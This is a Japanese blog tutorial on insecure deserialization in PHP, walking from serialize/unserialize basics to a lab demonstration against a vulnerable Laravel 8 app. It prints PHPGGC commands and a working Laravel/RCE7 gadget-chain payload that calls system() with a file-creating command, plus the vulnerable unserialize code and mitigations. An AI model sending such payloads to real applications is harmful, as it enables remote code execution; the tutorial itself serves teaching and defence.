🔐

PHPで安全でないデシリアライゼーションを学ぼう

2022/01/14に公開

この記事では、安全でないデシリアライゼーションについて説明します。

安全でないデシリアライゼーションは、2017年のOWSAP TOP10[1]に選出された脆弱性です。

※ちなみに2021年では、「A08:2021-ソフトウェアとデータの整合性の不具合」というカテゴリーの一部になっています。
https://owasp.org/Top10/ja/

そのわりに他の有名なインジェクション攻撃などと比べると日本語の情報は少なく、認知度も低いかと思いますので説明させていただきますmm。

概要

安全でないデシリアライゼーションとは、外部から与えられるデータをデシリアライズする際に意図しないオブジェクトを操作され不正な動作が引き起こしてしまうという脆弱性です。

悪用のしづらさはあるものの、攻撃者がこの脆弱性を悪用することにより、リモートコードの実行・特権の昇格・任意のファイルアクセス・DoSなどを大きな被害を引き起こす可能性があります。

対策法は、外部から与えられたデータに対してデシリアライゼーション行わないことです。

※ 英訳はInsecure Deserializationであり、オブジェクトインジェクション攻撃としても知られています。

シリアライゼーションとデシリアライゼーション

具体的な攻撃方法を知る前に、まずはシリアライゼーションとデシリアライゼーションについて知らなくてはなりません。

シリアライゼーションとは、オブジェクトなどの複雑なデータ構造を文字列、バイト列やJSONなどのフラットな形式に変換することです。 データの保存や受送信を容易にすることを目的に行われます。

そしてデシリアライゼーションとは、そのデータをシリアライズされた時と同じ状態に復元することです。

このデシリアライゼーションの処理に対して、悪意のあるデータを与え、意図しないオブジェクトを復元させることで、攻撃が成立します。

PHPにはシリアライゼーションのためにserializeunserializeという関数があります。

まずはserializeの動きを確かめてみましょう^^

class User
{
    public $nickname = "shira";
    protected $age = 23;
    private $likes = 
        [
            'sports' => 'soccer',
            'food'   => 'curry',
        ];
}

$object = new User();

echo serialize($object);

上記のようにUserというクラスを用意しました。Userクラスをインスタンス化し、さらにシリアライズして出力してみます。

すると以下のようなものが吐き出されました。

O:4:"User":3:{s:8:"nickname";s:5:"shira";s:6:"*age";i:23;s:11:"Userlikes";a:2:{s:6:"sports";s:6:"soccer";s:4:"food";s:5:"curry";}}

出力の内容を確認していきます。

O:4:"User":3
Userという4文字のクラス名のオブジェクト。プロパティは3つ。

s:8:"nickname";s:5:"shira";
nicknameという文字列の変数がshiraという文字列の値を持ってる。

s:6:"*age";i:23
*ageという文字列の値が23という数字を持ってる。

「*age」が6文字とありますが、*の前後にはnullバイトが存在していて、それを含めた数になっています。(seliarazeの返り値はバイナリ文字列であり、nullバイトを含む可能性もあります)

オブジェクトの private メンバは、メンバ名の前にクラス名がつきます。 また protected メンバはメンバ名の前に '*' がつきます。 前に付加されるこれらの値の前後には null バイトがついています。
https://www.php.net/manual/ja/function.serialize.php

つまり、protectedの場合、値の先頭に nullバイト + * + nullバイトがつきます。privateの場合は、値の先頭にnullバイト + クラス名 + nullバイトがつきます。

s:11:"Userlikes";a:2:{s:6:"sports";s:6:"soccer";s:4:"food";s:5:"curry";}}

aは配列です。「Userlikes」はprivate変数です。

ここまででselializeの動作を見ることできました。オブジェクト、配列、文字列、数字、ブーリアンなどを保存可能な表現に変換する様子を確認できました。

unserializeはシリアライズされた値からPHPの値を生成します。

すなわち、unserializeからオブジェクトを生成できるということです。攻撃者からすればオブジェクトを生成させて不正な操作するチャンスになってしまいます。

ドキュメントには警告で以下のように書かれております。

allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。

攻撃の仕組み(PHP)

ここから攻撃の仕組みをみていきます。

unserializeからオブジェクトを注入できたとしても、関数が実行されなければ攻撃は成立されないでしょう。

ですが、__destruct()などのマジックメソッド実装されているクラスを生成すると、処理が自動的に実行されてしまうことがあります。

マジックメソッドは、 ある動作がオブジェクトに対して行われた場合に、 PHP のデフォルトの動作を上書きする特別なメソッドです。

仮に、以下のようなクラスがあったとします。(こんなクラスが存在するのかっていうのは置いといて、、。)

オブジェクトを参照がなくなった場合にログを書き出すというクラスです。

<?php

class Logger
{
    public $message;
    
    public function __construct($message){
        $this->message = $message;
    }
    
    public function __destruct(){
        file_put_contents('sample.log', $this->message);
    }
}

また、別箇所に以下のようにユーザーからの入力に対して、unserializeする処理があったとします。

unserialize($_GET["serialized"]);

そこに、以下のような内容を送信します。$messagehackedという文字列が入った状態のLoggerクラスのシリアライズされた値です。

O:6:"Logger":1:{s:7:"message";s:6:"hacked";}

すると、Loggerクラスが勝手に生成されたあと、参照が終わるとログファイルに書き込まれてしまいます。

以上が攻撃の手口になります。

悪用するクラスは、実際ここまで単純ではないはずです。上記の例のように単一のクラスではなく、いくつかのクラスを連鎖的に組み合わせることで攻撃を成立させることもあります。これをガジェットチェーン(Gadget Chains)といいます。

攻撃実践(Laravel)

PHPGGC

攻撃の手口を紹介しましたが、2つの条件が前提になることがわかります。

  • 外部からの入力に対して、加工せずにデシリアライゼーションを行う
  • 悪用できるクラス、及びガジェットチェーンの存在

2個目に関してですが、ソースコードが見れないことには、クラスを探すことすらできないと思います。ですが、ライブラリやフレームワークのように公開されているソースコードであれば、その限りではありません。

ライブラリフレームワークや毎に、悪用できるクラスを教えてくれるPHP用ツールがあるので紹介します。
PHPGGC(PHP Generic Gadget Chains)です。
https://github.com/ambionics/phpggc

PHPGGCを実際に使ってみましょう。

コマンド
$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc

# ガジェットチェーンのリストを取得
$ ./phpggc -l

今回はLaravel8.0で実験します。Laravel/RCE7 が該当します。

system関数を使ってtouch /var/www/html/hacked.txtするためのシリアルデータを生成してもらいましょう。

コマンド
$ ./phpggc -s Laravel/RCE7 system 'touch /var/www/html/hacked.txt'

// 以下のように出力
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"%00*%00events"%3BO:25:"Illuminate\Bus\Dispatcher":1:{s:16:"%00*%00queueResolver"%3Bs:6:"system"%3B}s:8:"%00*%00event"%3BO:34:"Illuminate\Queue\CallQueuedClosure":1:{s:13:"%00*%00connection"%3Bs:30:"touch /var/www/html/hacked.txt"%3B}}

上記コマンドに-sをつけるとnullバイトも出力します。

htmlのフォームやhiddenパラメータの書き換え、クッキーの書き換えからだとnullバイトが打ち込めないという問題にハマりました。バイトではなく文字列として認識しちゃいます。

そのため、nullバイトを使用しないように前処理をします。

nullバイトはprivateやprotected変数に対して使われますが、そもそもpublic変数としてデータを送信するという方法を取りました。これでもちゃんと攻撃は成立してくれます。

整形後は以下です。public関数に変更して、文字数を調整しました。文字数が違うとエラーが
でてしまいます。

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:6:"events";O:25:"Illuminate\Bus\Dispatcher":1:{s:13:"queueResolver";s:6:"system";}s:5:"event";O:34:"Illuminate\Queue\CallQueuedClosure":1:{s:10:"connection";s:30:"touch /var/www/html/hacked.txt";}}

攻撃してみる

PoC[2]が揃ったところで実際に攻撃してみて動きを確かめてみましょう。

環境

デモの環境はこのリポジトリに用意しました。
https://github.com/shira79/vulnerability-sample

デモでは、以下のような状況を想定しています。

  • 確認画面から保存処理へのあいだ、データをhiddenパラメータ経由で受け渡す。
  • そこで配列データをフラットにするためにデシリアライズした
confirm.blade.php
<form action="{{ route('serialization.store') }}" method="post">
    @csrf
    {{-- シリアライズ --}}
    <input type="hidden" name="serialized_data" value="{{ serialize($array) }}">
    <div><input type="submit" value="保存する"></div>
</form>
SerializationController
/**
* 保存処理
*/
public function store(Request $request)
{
    // デシリアライズ
    $storeParams = unserialize($request->input('serialized_data'));
    $this->storeData($storeParams);

    return redirect()->route('serialization.complete');
}

手順

  1. 確認画面まで遷移
  2. hiddenパラメーターを書き換えて保存する
  3. コードが実行されてファイルが作成されている

文字だけだと分かりづらいと思いますので、動画にしてみました(無音です)
https://youtu.be/6KMQhMrXxkY

何がおきたか

この攻撃によってどんなインスタンスが生成されたでしょうか。unserializeの返り値に対してdddで確認してみます。

SerializationController
/**
* 保存処理
*/
public function store(Request $request)
{
    // デシリアライズ
    $storeParams = unserialize($request->input('serialized_data'));
+   ddd($storeParams); 
    $this->storeData($storeParams);

    return redirect()->route('serialization.complete');
}

通常は以下のような配列が格納されています。

array:2 [▼
  0 => "ラーメン"
  1 => "カレー"
]

攻撃では以下のようなインスタンスが生成されていました。

Illuminate\Broadcasting\PendingBroadcast {#385 ▼
  #events: Illuminate\Bus\Dispatcher {#380 ▼
    #container: null
    #pipeline: null
    #pipes: []
    #handlers: []
    #queueResolver: "system"
  }
  #event: Illuminate\Queue\CallQueuedClosure {#384 ▼
    +closure: null
    +failureCallbacks: []
    +deleteWhenMissingModels: true
    +batchId: null
    +job: null
    +connection: "touch /var/www/html/hacked.txt"
    +queue: null
    +chainConnection: null
    +chainQueue: null
    +chainCatchCallbacks: null
    +delay: null
    +afterCommit: null
    +middleware: []
    +chained: []
  }
}

Illuminate\Broadcasting\PendingBroadcastというクラスが生成されていることがわかります。そしてそのPendingBroadcasteventsIlluminate\Bus\DispatchereventIlluminate\Queue\CallQueuedClosureが入っています。各プロパティの中に、systemtouch /var/www/html/hacked.txtという文字列の存在も確認できますね。

Illuminate\Broadcasting\PendingBroadcastには__destructが実装されてます。参照されなくなったら、ここからガジェットチェーンが始まるようです。

Illuminate\Broadcasting\PendingBroadcast
/**
 * Handle the object's destruction.
 *
 * @return void
 */
public function __destruct()
{
    $this->events->dispatch($this->event);
}

攻撃の確認は以上になります。

今環境での対策

外部から与えられる値に対してデシリアライズを行わないことが対策になります。

今環境で言うと、以下のような代替策が考えられます。

  • json_decode() および json_encode()を使う
  • hiddenパラメータではなくセッション変数を使う
  • unserializeの第二引数にクラス名もしくはfalseを指定(PHPドキュメントでは非推奨)

Laravelでの事例

5.6から5.6.30へのアップグレードを読んでみると、かつてLaravelのCookie処理において安全でないデシリアライゼーションの脆弱性が存在した事がわかります。攻撃者が暗号化キーを持っている場合に限りますが。
日本語訳サイトはこちら

Laravelは5.6.30以前、デフォルトではCookieの値をシリアライズ+暗号化して取り扱っていたけれど、5.6.30以降はシリアライズしないようになりました。その理由が、APP_KEYが悪意のある人に渡ってしまった場合に暗号を解かれて任意のクラスを注入できるようになってしまうためです。

暗号化を説かれてしまった場合に、Cookieの値を書き換えることで悪意のあるオブジェクトが注入できてしまうわけです。

Laravel5.6.30では、クッキー値のシリアライズ化/非シリアライズ化を無効にしました。その理由は、Laravelのすべてのクッキーは、暗号化し、署名してあり、クライアントによる改ざんに対し、通常安全であると考えられます。しかしながら、アプリケーションの暗号化キーが悪意のある人々の手に入れば、彼らは暗号化キーを使用しクッキー値を生成できます。アプリケーションの中の任意のクラスメソッドを呼び出すことなど、PHPオブジェクトのシリアライズ化/非シリアライズ化に本来の脆弱性を悪用できてしまいます。

あと、APP_KEYってどうやって奪われるんだ??と思っていたら、退職者の存在が指摘されていて面白かったです。

通常、アプリケーションのユーザーが、この値にアクセスできる可能性はありません。しかしながら、以前雇用していた人が暗号化キーにアクセスできていた場合、アプリケーションへ攻撃するためにこのキーを利用することができます。

補足

Faker/Generatorの修正

Laravelで学ぶ「安全でないデシリアライゼーション」

上記の記事では攻撃にFaker/Generatorクラスが使用されていました。
こちらの修正で対応され、攻撃には使用されることはなくなりました。

$formatterという変数にPHP関数を書きますが、unserilizeから生成された瞬間に空になり、実行されなくなったようです。

Phar Deserialization

PHPには、Pharアーカイブという複数のファイルをひとつにまとめるため仕組みがあります。Pharのメタデータが展開されるときに、デシリアライゼーションが行われるのですが、PHP8未満において自動的に展開されてしまうため同様の攻撃が成立してしまいます。(Phar Deserialization)

Pharのメタデータの自動デシリアライゼーションについてのRFCはこちらです。

Phar Deserializationについてもデモ環境を作っているのでよかったら。。。
https://github.com/shira79/AttackByPhar

直感的な理解が難しいなと感じましたが、以下を読み解くと概要がつかめるかもです。

※追記
以下の記事にまとめました。
https://zenn.dev/shlia/articles/9932e906cc58ab

参考

脚注
  1. OWSAPとは、ソフトウェアのセキュリティを向上を目的とした非営利団体。
    OWSAP TOP10とは、OWSAPが公開しているWebのセキュリティに関する重大な10個のリスクについてのランキングと修正のガイダンスを提供する文章。
    ↩︎

  2. Proof of Concept。脆弱性の実証のためのプログラム ↩︎

Discussion